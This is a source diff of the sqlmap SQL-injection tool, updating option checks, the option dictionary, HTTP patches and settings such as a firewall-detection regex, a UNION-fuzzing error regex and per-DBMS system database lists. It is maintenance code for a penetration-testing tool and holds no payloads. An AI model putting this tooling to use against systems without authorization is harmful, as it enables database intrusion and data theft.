errMsg = "switch '--dump' is incompatible with switch '--dump-all'"
|
errMsg = "switch '--dump' is incompatible with switch '--dump-all'"
|
||||||
raise SqlmapSyntaxException(errMsg)
|
raise SqlmapSyntaxException(errMsg)
|
||||||
@@ -2466,8 +2514,8 @@ def _basicOptionValidation():
|
|||||||
errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS
|
errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS
|
||||||
raise SqlmapSyntaxException(errMsg)
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
if conf.forms and not any((conf.url, conf.googleDork, conf.bulkFile, conf.sitemapUrl)):
|
if conf.forms and not any((conf.url, conf.googleDork, conf.bulkFile)):
|
||||||
errMsg = "switch '--forms' requires usage of option '-u' ('--url'), '-g', '-m' or '-x'"
|
errMsg = "switch '--forms' requires usage of option '-u' ('--url'), '-g' or '-m'"
|
||||||
raise SqlmapSyntaxException(errMsg)
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
if conf.crawlExclude and not conf.crawlDepth:
|
if conf.crawlExclude and not conf.crawlDepth:
|
||||||
@@ -2490,6 +2538,10 @@ def _basicOptionValidation():
|
|||||||
errMsg = "option '--csrf-url' requires usage of option '--csrf-token'"
|
errMsg = "option '--csrf-url' requires usage of option '--csrf-token'"
|
||||||
raise SqlmapSyntaxException(errMsg)
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
|
if conf.csrfMethod and not conf.csrfToken:
|
||||||
|
errMsg = "option '--csrf-method' requires usage of option '--csrf-token'"
|
||||||
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
if conf.csrfToken and conf.threads > 1:
|
if conf.csrfToken and conf.threads > 1:
|
||||||
errMsg = "option '--csrf-url' is incompatible with option '--threads'"
|
errMsg = "option '--csrf-url' is incompatible with option '--threads'"
|
||||||
raise SqlmapSyntaxException(errMsg)
|
raise SqlmapSyntaxException(errMsg)
|
||||||
@@ -2556,6 +2608,10 @@ def _basicOptionValidation():
|
|||||||
errMsg = "option '--proxy' is incompatible with switch '--ignore-proxy'"
|
errMsg = "option '--proxy' is incompatible with switch '--ignore-proxy'"
|
||||||
raise SqlmapSyntaxException(errMsg)
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
|
if conf.alert and conf.alert.startswith('-'):
|
||||||
|
errMsg = "value for option '--alert' must be valid operating system command(s)"
|
||||||
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
if conf.timeSec < 1:
|
if conf.timeSec < 1:
|
||||||
errMsg = "value for option '--time-sec' must be a positive integer"
|
errMsg = "value for option '--time-sec' must be a positive integer"
|
||||||
raise SqlmapSyntaxException(errMsg)
|
raise SqlmapSyntaxException(errMsg)
|
||||||
@@ -2564,7 +2620,7 @@ def _basicOptionValidation():
|
|||||||
errMsg = "value for option '--union-char' must be an alpha-numeric value (e.g. 1)"
|
errMsg = "value for option '--union-char' must be an alpha-numeric value (e.g. 1)"
|
||||||
raise SqlmapSyntaxException(errMsg)
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
if conf.hashFile and any((conf.direct, conf.url, conf.logFile, conf.bulkFile, conf.googleDork, conf.configFile, conf.requestFile, conf.updateAll, conf.smokeTest, conf.liveTest, conf.wizard, conf.dependencies, conf.purge, conf.sitemapUrl, conf.listTampers)):
|
if conf.hashFile and any((conf.direct, conf.url, conf.logFile, conf.bulkFile, conf.googleDork, conf.configFile, conf.requestFile, conf.updateAll, conf.smokeTest, conf.wizard, conf.dependencies, conf.purge, conf.listTampers)):
|
||||||
errMsg = "option '--crack' should be used as a standalone"
|
errMsg = "option '--crack' should be used as a standalone"
|
||||||
raise SqlmapSyntaxException(errMsg)
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
@@ -2631,7 +2687,7 @@ def init():
|
|||||||
|
|
||||||
parseTargetDirect()
|
parseTargetDirect()
|
||||||
|
|
||||||
if any((conf.url, conf.logFile, conf.bulkFile, conf.sitemapUrl, conf.requestFile, conf.googleDork, conf.liveTest)):
|
if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork)):
|
||||||
_setHostname()
|
_setHostname()
|
||||||
_setHTTPTimeout()
|
_setHTTPTimeout()
|
||||||
_setHTTPExtraHeaders()
|
_setHTTPExtraHeaders()
|
||||||
@@ -2646,7 +2702,6 @@ def init():
|
|||||||
_setSafeVisit()
|
_setSafeVisit()
|
||||||
_doSearch()
|
_doSearch()
|
||||||
_setBulkMultipleTargets()
|
_setBulkMultipleTargets()
|
||||||
_setSitemapTargets()
|
|
||||||
_checkTor()
|
_checkTor()
|
||||||
_setCrawler()
|
_setCrawler()
|
||||||
_findPageForms()
|
_findPageForms()
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -19,7 +19,6 @@ optDict = {
|
|||||||
"sessionFile": "string",
|
"sessionFile": "string",
|
||||||
"googleDork": "string",
|
"googleDork": "string",
|
||||||
"configFile": "string",
|
"configFile": "string",
|
||||||
"sitemapUrl": "string",
|
|
||||||
},
|
},
|
||||||
|
|
||||||
"Request": {
|
"Request": {
|
||||||
@@ -61,6 +60,7 @@ optDict = {
|
|||||||
"skipUrlEncode": "boolean",
|
"skipUrlEncode": "boolean",
|
||||||
"csrfToken": "string",
|
"csrfToken": "string",
|
||||||
"csrfUrl": "string",
|
"csrfUrl": "string",
|
||||||
|
"csrfMethod": "string",
|
||||||
"forceSSL": "boolean",
|
"forceSSL": "boolean",
|
||||||
"chunked": "boolean",
|
"chunked": "boolean",
|
||||||
"hpp": "boolean",
|
"hpp": "boolean",
|
||||||
@@ -237,9 +237,11 @@ optDict = {
|
|||||||
"listTampers": "boolean",
|
"listTampers": "boolean",
|
||||||
"offline": "boolean",
|
"offline": "boolean",
|
||||||
"purge": "boolean",
|
"purge": "boolean",
|
||||||
|
"resultsFile": "string",
|
||||||
"tmpDir": "string",
|
"tmpDir": "string",
|
||||||
"wizard": "boolean",
|
"unstable": "boolean",
|
||||||
"updateAll": "boolean",
|
"updateAll": "boolean",
|
||||||
|
"wizard": "boolean",
|
||||||
"verbose": "integer",
|
"verbose": "integer",
|
||||||
},
|
},
|
||||||
|
|
||||||
@@ -250,9 +252,6 @@ optDict = {
|
|||||||
"forceDns": "boolean",
|
"forceDns": "boolean",
|
||||||
"murphyRate": "integer",
|
"murphyRate": "integer",
|
||||||
"smokeTest": "boolean",
|
"smokeTest": "boolean",
|
||||||
"liveTest": "boolean",
|
|
||||||
"stopFail": "boolean",
|
|
||||||
"runCase": "string",
|
|
||||||
},
|
},
|
||||||
|
|
||||||
"API": {
|
"API": {
|
||||||
|
|||||||
@@ -1,11 +1,12 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
import codecs
|
import codecs
|
||||||
|
import random
|
||||||
|
|
||||||
import lib.controller.checks
|
import lib.controller.checks
|
||||||
import lib.core.common
|
import lib.core.common
|
||||||
@@ -20,17 +21,23 @@ import thirdparty.chardet.universaldetector
|
|||||||
|
|
||||||
from lib.core.common import filterNone
|
from lib.core.common import filterNone
|
||||||
from lib.core.common import getSafeExString
|
from lib.core.common import getSafeExString
|
||||||
|
from lib.core.common import isDigit
|
||||||
from lib.core.common import isListLike
|
from lib.core.common import isListLike
|
||||||
from lib.core.common import readInput
|
from lib.core.common import readInput
|
||||||
from lib.core.common import shellExec
|
from lib.core.common import shellExec
|
||||||
from lib.core.common import singleTimeWarnMessage
|
from lib.core.common import singleTimeWarnMessage
|
||||||
|
from lib.core.compat import xrange
|
||||||
from lib.core.convert import stdoutEncode
|
from lib.core.convert import stdoutEncode
|
||||||
|
from lib.core.data import conf
|
||||||
from lib.core.option import _setHTTPHandlers
|
from lib.core.option import _setHTTPHandlers
|
||||||
from lib.core.option import setVerbosity
|
from lib.core.option import setVerbosity
|
||||||
from lib.core.settings import IS_WIN
|
from lib.core.settings import IS_WIN
|
||||||
from lib.request.templates import getPageTemplate
|
from lib.request.templates import getPageTemplate
|
||||||
|
from thirdparty import six
|
||||||
from thirdparty.six.moves import http_client as _http_client
|
from thirdparty.six.moves import http_client as _http_client
|
||||||
|
|
||||||
|
_rand = 0
|
||||||
|
|
||||||
def dirtyPatches():
|
def dirtyPatches():
|
||||||
"""
|
"""
|
||||||
Place for "dirty" Python related patches
|
Place for "dirty" Python related patches
|
||||||
@@ -39,6 +46,18 @@ def dirtyPatches():
|
|||||||
# accept overly long result lines (e.g. SQLi results in HTTP header responses)
|
# accept overly long result lines (e.g. SQLi results in HTTP header responses)
|
||||||
_http_client._MAXLINE = 1 * 1024 * 1024
|
_http_client._MAXLINE = 1 * 1024 * 1024
|
||||||
|
|
||||||
|
# prevent double chunked encoding in case of sqlmap chunking (Note: Python3 does it automatically if 'Content-length' is missing)
|
||||||
|
if six.PY3:
|
||||||
|
if not hasattr(_http_client.HTTPConnection, "__send_output"):
|
||||||
|
_http_client.HTTPConnection.__send_output = _http_client.HTTPConnection._send_output
|
||||||
|
|
||||||
|
def _send_output(self, *args, **kwargs):
|
||||||
|
if conf.chunked and "encode_chunked" in kwargs:
|
||||||
|
kwargs["encode_chunked"] = False
|
||||||
|
self.__send_output(*args, **kwargs)
|
||||||
|
|
||||||
|
_http_client.HTTPConnection._send_output = _send_output
|
||||||
|
|
||||||
# add support for inet_pton() on Windows OS
|
# add support for inet_pton() on Windows OS
|
||||||
if IS_WIN:
|
if IS_WIN:
|
||||||
from thirdparty.wininetpton import win_inet_pton
|
from thirdparty.wininetpton import win_inet_pton
|
||||||
@@ -62,6 +81,7 @@ def resolveCrossReferences():
|
|||||||
Place for cross-reference resolution
|
Place for cross-reference resolution
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
lib.core.threads.isDigit = isDigit
|
||||||
lib.core.threads.readInput = readInput
|
lib.core.threads.readInput = readInput
|
||||||
lib.core.common.getPageTemplate = getPageTemplate
|
lib.core.common.getPageTemplate = getPageTemplate
|
||||||
lib.core.convert.filterNone = filterNone
|
lib.core.convert.filterNone = filterNone
|
||||||
@@ -85,3 +105,35 @@ def pympTempLeakPatch(tempDir):
|
|||||||
multiprocessing.util.get_temp_dir = lambda: tempDir
|
multiprocessing.util.get_temp_dir = lambda: tempDir
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
def unisonRandom():
|
||||||
|
"""
|
||||||
|
Unifying random generated data across different Python versions
|
||||||
|
"""
|
||||||
|
|
||||||
|
def _lcg():
|
||||||
|
global _rand
|
||||||
|
a = 1140671485
|
||||||
|
c = 128201163
|
||||||
|
m = 2 ** 24
|
||||||
|
_rand = (a * _rand + c) % m
|
||||||
|
return _rand
|
||||||
|
|
||||||
|
def _randint(a, b):
|
||||||
|
_ = a + (_lcg() % (b - a + 1))
|
||||||
|
return _
|
||||||
|
|
||||||
|
def _choice(seq):
|
||||||
|
return seq[_randint(0, len(seq) - 1)]
|
||||||
|
|
||||||
|
def _sample(population, k):
|
||||||
|
return [_choice(population) for _ in xrange(k)]
|
||||||
|
|
||||||
|
def _seed(seed):
|
||||||
|
global _rand
|
||||||
|
_rand = seed
|
||||||
|
|
||||||
|
random.choice = _choice
|
||||||
|
random.randint = _randint
|
||||||
|
random.sample = _sample
|
||||||
|
random.seed = _seed
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -27,7 +27,7 @@ def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None):
|
|||||||
import pydot
|
import pydot
|
||||||
except ImportError as ex:
|
except ImportError as ex:
|
||||||
errMsg = "profiling requires third-party libraries ('%s') " % getSafeExString(ex)
|
errMsg = "profiling requires third-party libraries ('%s') " % getSafeExString(ex)
|
||||||
errMsg += "(Hint: 'sudo apt-get install python-pydot python-pyparsing python-profiler graphviz')"
|
errMsg += "(Hint: 'sudo apt install python-pydot python-pyparsing python-profiler graphviz')"
|
||||||
logger.error(errMsg)
|
logger.error(errMsg)
|
||||||
|
|
||||||
return
|
return
|
||||||
@@ -84,7 +84,7 @@ def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None):
|
|||||||
pydotGraph.write_png(imageOutputFile)
|
pydotGraph.write_png(imageOutputFile)
|
||||||
except OSError:
|
except OSError:
|
||||||
errMsg = "profiling requires graphviz installed "
|
errMsg = "profiling requires graphviz installed "
|
||||||
errMsg += "(Hint: 'sudo apt-get install graphviz')"
|
errMsg += "(Hint: 'sudo apt install graphviz')"
|
||||||
logger.error(errMsg)
|
logger.error(errMsg)
|
||||||
else:
|
else:
|
||||||
infoMsg = "displaying interactive graph with xdot library"
|
infoMsg = "displaying interactive graph with xdot library"
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,19 +1,19 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
import sqlite3
|
import sqlite3
|
||||||
|
|
||||||
from extra.safe2bin.safe2bin import safechardecode
|
|
||||||
from lib.core.common import getSafeExString
|
from lib.core.common import getSafeExString
|
||||||
from lib.core.common import unsafeSQLIdentificatorNaming
|
from lib.core.common import unsafeSQLIdentificatorNaming
|
||||||
from lib.core.exception import SqlmapConnectionException
|
from lib.core.exception import SqlmapConnectionException
|
||||||
from lib.core.exception import SqlmapGenericException
|
from lib.core.exception import SqlmapGenericException
|
||||||
from lib.core.exception import SqlmapValueException
|
from lib.core.exception import SqlmapValueException
|
||||||
from lib.core.settings import UNICODE_ENCODING
|
from lib.core.settings import UNICODE_ENCODING
|
||||||
|
from lib.utils.safe2bin import safechardecode
|
||||||
|
|
||||||
class Replication(object):
|
class Replication(object):
|
||||||
"""
|
"""
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -40,9 +40,14 @@ def getRevisionNumber():
|
|||||||
with openFile(filePath, "r") as f:
|
with openFile(filePath, "r") as f:
|
||||||
content = getText(f.read())
|
content = getText(f.read())
|
||||||
filePath = None
|
filePath = None
|
||||||
|
|
||||||
if content.startswith("ref: "):
|
if content.startswith("ref: "):
|
||||||
filePath = os.path.join(_, ".git", content.replace("ref: ", "")).strip()
|
try:
|
||||||
else:
|
filePath = os.path.join(_, ".git", content.replace("ref: ", "")).strip()
|
||||||
|
except UnicodeError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
if filePath is None:
|
||||||
match = re.match(r"(?i)[0-9a-f]{32}", content)
|
match = re.match(r"(?i)[0-9a-f]{32}", content)
|
||||||
retVal = match.group(0) if match else None
|
retVal = match.group(0) if match else None
|
||||||
break
|
break
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -25,7 +25,7 @@ def setDbms(dbms):
|
|||||||
|
|
||||||
hashDBWrite(HASHDB_KEYS.DBMS, dbms)
|
hashDBWrite(HASHDB_KEYS.DBMS, dbms)
|
||||||
|
|
||||||
_ = "(%s)" % ("|".join([alias for alias in SUPPORTED_DBMS]))
|
_ = "(%s)" % ('|'.join(SUPPORTED_DBMS))
|
||||||
_ = re.search(r"\A%s( |\Z)" % _, dbms, re.I)
|
_ = re.search(r"\A%s( |\Z)" % _, dbms, re.I)
|
||||||
|
|
||||||
if _:
|
if _:
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -18,7 +18,7 @@ from lib.core.enums import OS
|
|||||||
from thirdparty.six import unichr as _unichr
|
from thirdparty.six import unichr as _unichr
|
||||||
|
|
||||||
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
||||||
VERSION = "1.3.9.0"
|
VERSION = "1.4.3.0"
|
||||||
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
||||||
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
||||||
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
||||||
@@ -29,6 +29,7 @@ DEV_EMAIL_ADDRESS = "dev@sqlmap.org"
|
|||||||
ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new"
|
ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new"
|
||||||
GIT_REPOSITORY = "https://github.com/sqlmapproject/sqlmap.git"
|
GIT_REPOSITORY = "https://github.com/sqlmapproject/sqlmap.git"
|
||||||
GIT_PAGE = "https://github.com/sqlmapproject/sqlmap"
|
GIT_PAGE = "https://github.com/sqlmapproject/sqlmap"
|
||||||
|
WIKI_PAGE = "https://github.com/sqlmapproject/sqlmap/wiki/"
|
||||||
ZIPBALL_PAGE = "https://github.com/sqlmapproject/sqlmap/zipball/master"
|
ZIPBALL_PAGE = "https://github.com/sqlmapproject/sqlmap/zipball/master"
|
||||||
|
|
||||||
# colorful banner
|
# colorful banner
|
||||||
@@ -59,6 +60,7 @@ UPPER_RATIO_BOUND = 0.98
|
|||||||
PARAMETER_AMP_MARKER = "__AMP__"
|
PARAMETER_AMP_MARKER = "__AMP__"
|
||||||
PARAMETER_SEMICOLON_MARKER = "__SEMICOLON__"
|
PARAMETER_SEMICOLON_MARKER = "__SEMICOLON__"
|
||||||
BOUNDARY_BACKSLASH_MARKER = "__BACKSLASH__"
|
BOUNDARY_BACKSLASH_MARKER = "__BACKSLASH__"
|
||||||
|
PARAMETER_PERCENTAGE_MARKER = "__PERCENTAGE__"
|
||||||
PARTIAL_VALUE_MARKER = "__PARTIAL_VALUE__"
|
PARTIAL_VALUE_MARKER = "__PARTIAL_VALUE__"
|
||||||
PARTIAL_HEX_VALUE_MARKER = "__PARTIAL_HEX_VALUE__"
|
PARTIAL_HEX_VALUE_MARKER = "__PARTIAL_HEX_VALUE__"
|
||||||
URI_QUESTION_MARKER = "__QUESTION_MARK__"
|
URI_QUESTION_MARKER = "__QUESTION_MARK__"
|
||||||
@@ -73,6 +75,7 @@ RANDOM_STRING_MARKER = "[RANDSTR]"
|
|||||||
SLEEP_TIME_MARKER = "[SLEEPTIME]"
|
SLEEP_TIME_MARKER = "[SLEEPTIME]"
|
||||||
INFERENCE_MARKER = "[INFERENCE]"
|
INFERENCE_MARKER = "[INFERENCE]"
|
||||||
SINGLE_QUOTE_MARKER = "[SINGLE_QUOTE]"
|
SINGLE_QUOTE_MARKER = "[SINGLE_QUOTE]"
|
||||||
|
GENERIC_SQL_COMMENT_MARKER = "[GENERIC_SQL_COMMENT]"
|
||||||
|
|
||||||
PAYLOAD_DELIMITER = "__PAYLOAD_DELIMITER__"
|
PAYLOAD_DELIMITER = "__PAYLOAD_DELIMITER__"
|
||||||
CHAR_INFERENCE_MARK = "%c"
|
CHAR_INFERENCE_MARK = "%c"
|
||||||
@@ -90,6 +93,12 @@ PERMISSION_DENIED_REGEX = r"(?P<result>(command|permission|access)\s*(was|is)?\s
|
|||||||
# Regular expression used in recognition of generic protection mechanisms
|
# Regular expression used in recognition of generic protection mechanisms
|
||||||
GENERIC_PROTECTION_REGEX = r"(?i)\b(rejected|blocked|protection|incident|denied|detected|dangerous|firewall)\b"
|
GENERIC_PROTECTION_REGEX = r"(?i)\b(rejected|blocked|protection|incident|denied|detected|dangerous|firewall)\b"
|
||||||
|
|
||||||
|
# Regular expression used to detect errors in fuzz(y) UNION test
|
||||||
|
FUZZ_UNION_ERROR_REGEX = r"(?i)data\s?type|comparable|compatible|conversion|converting|failed|error"
|
||||||
|
|
||||||
|
# Upper threshold for starting the fuzz(y) UNION test
|
||||||
|
FUZZ_UNION_MAX_COLUMNS = 10
|
||||||
|
|
||||||
# Regular expression used for recognition of generic maximum connection messages
|
# Regular expression used for recognition of generic maximum connection messages
|
||||||
MAX_CONNECTIONS_REGEX = r"\bmax.+?\bconnection"
|
MAX_CONNECTIONS_REGEX = r"\bmax.+?\bconnection"
|
||||||
|
|
||||||
@@ -231,6 +240,9 @@ STDIN_PIPE_DASH = '-'
|
|||||||
# URL used in dummy runs
|
# URL used in dummy runs
|
||||||
DUMMY_URL = "http://foo/bar?id=1"
|
DUMMY_URL = "http://foo/bar?id=1"
|
||||||
|
|
||||||
|
# Timeout used during initial websocket (pull) testing
|
||||||
|
WEBSOCKET_INITIAL_TIMEOUT = 3
|
||||||
|
|
||||||
# The name of the operating system dependent module imported. The following names have currently been registered: 'posix', 'nt', 'mac', 'os2', 'ce', 'java', 'riscos'
|
# The name of the operating system dependent module imported. The following names have currently been registered: 'posix', 'nt', 'mac', 'os2', 'ce', 'java', 'riscos'
|
||||||
PLATFORM = os.name
|
PLATFORM = os.name
|
||||||
PYVERSION = sys.version.split()[0]
|
PYVERSION = sys.version.split()[0]
|
||||||
@@ -243,7 +255,7 @@ IS_TTY = os.isatty(sys.stdout.fileno())
|
|||||||
MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb", "Resource", "ReportServer", "ReportServerTempDB")
|
MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb", "Resource", "ReportServer", "ReportServerTempDB")
|
||||||
MYSQL_SYSTEM_DBS = ("information_schema", "mysql", "performance_schema", "sys")
|
MYSQL_SYSTEM_DBS = ("information_schema", "mysql", "performance_schema", "sys")
|
||||||
PGSQL_SYSTEM_DBS = ("information_schema", "pg_catalog", "pg_toast", "pgagent")
|
PGSQL_SYSTEM_DBS = ("information_schema", "pg_catalog", "pg_toast", "pgagent")
|
||||||
ORACLE_SYSTEM_DBS = ('ANONYMOUS', 'APEX_030200', 'APEX_PUBLIC_USER', 'APPQOSSYS', 'BI', 'CTXSYS', 'DBSNMP', 'DIP', 'EXFSYS', 'FLOWS_%', 'FLOWS_FILES', 'HR', 'IX', 'LBACSYS', 'MDDATA', 'MDSYS', 'MGMT_VIEW', 'OC', 'OE', 'OLAPSYS', 'ORACLE_OCM', 'ORDDATA', 'ORDPLUGINS', 'ORDSYS', 'OUTLN', 'OWBSYS', 'PM', 'SCOTT', 'SH', 'SI_INFORMTN_SCHEMA', 'SPATIAL_CSW_ADMIN_USR', 'SPATIAL_WFS_ADMIN_USR', 'SYS', 'SYSMAN', 'SYSTEM', 'WKPROXY', 'WKSYS', 'WK_TEST', 'WMSYS', 'XDB', 'XS$NULL')
|
ORACLE_SYSTEM_DBS = ("ADAMS", "ANONYMOUS", "APEX_030200", "APEX_PUBLIC_USER", "APPQOSSYS", "AURORA$ORB$UNAUTHENTICATED", "AWR_STAGE", "BI", "BLAKE", "CLARK", "CSMIG", "CTXSYS", "DBSNMP", "DEMO", "DIP", "DMSYS", "DSSYS", "EXFSYS", "FLOWS_%", "FLOWS_FILES", "HR", "IX", "JONES", "LBACSYS", "MDDATA", "MDSYS", "MGMT_VIEW", "OC", "OE", "OLAPSYS", "ORACLE_OCM", "ORDDATA", "ORDPLUGINS", "ORDSYS", "OUTLN", "OWBSYS", "PAPER", "PERFSTAT", "PM", "SCOTT", "SH", "SI_INFORMTN_SCHEMA", "SPATIAL_CSW_ADMIN_USR", "SPATIAL_WFS_ADMIN_USR", "SYS", "SYSMAN", "SYSTEM", "TRACESVR", "TSMSYS", "WK_TEST", "WKPROXY", "WKSYS", "WMSYS", "XDB", "XS$NULL")
|
||||||
SQLITE_SYSTEM_DBS = ("sqlite_master", "sqlite_temp_master")
|
SQLITE_SYSTEM_DBS = ("sqlite_master", "sqlite_temp_master")
|
||||||
ACCESS_SYSTEM_DBS = ("MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage", "MSysAccessXML", "MSysModules", "MSysModules2")
|
ACCESS_SYSTEM_DBS = ("MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage", "MSysAccessXML", "MSysModules", "MSysModules2")
|
||||||
FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE", "RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", " RDB$FILES", "RDB$FILTERS", "RDB$FORMATS", "RDB$FUNCTIONS", "RDB$FUNCTION_ARGUMENTS", "RDB$GENERATORS", "RDB$INDEX_SEGMENTS", "RDB$INDICES", "RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS", "RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS", "RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS")
|
FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE", "RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", " RDB$FILES", "RDB$FILTERS", "RDB$FORMATS", "RDB$FUNCTIONS", "RDB$FUNCTION_ARGUMENTS", "RDB$GENERATORS", "RDB$INDEX_SEGMENTS", "RDB$INDICES", "RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS", "RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS", "RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS")
|
||||||
@@ -251,35 +263,70 @@ MAXDB_SYSTEM_DBS = ("SYSINFO", "DOMAIN")
|
|||||||
SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs")
|
SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs")
|
||||||
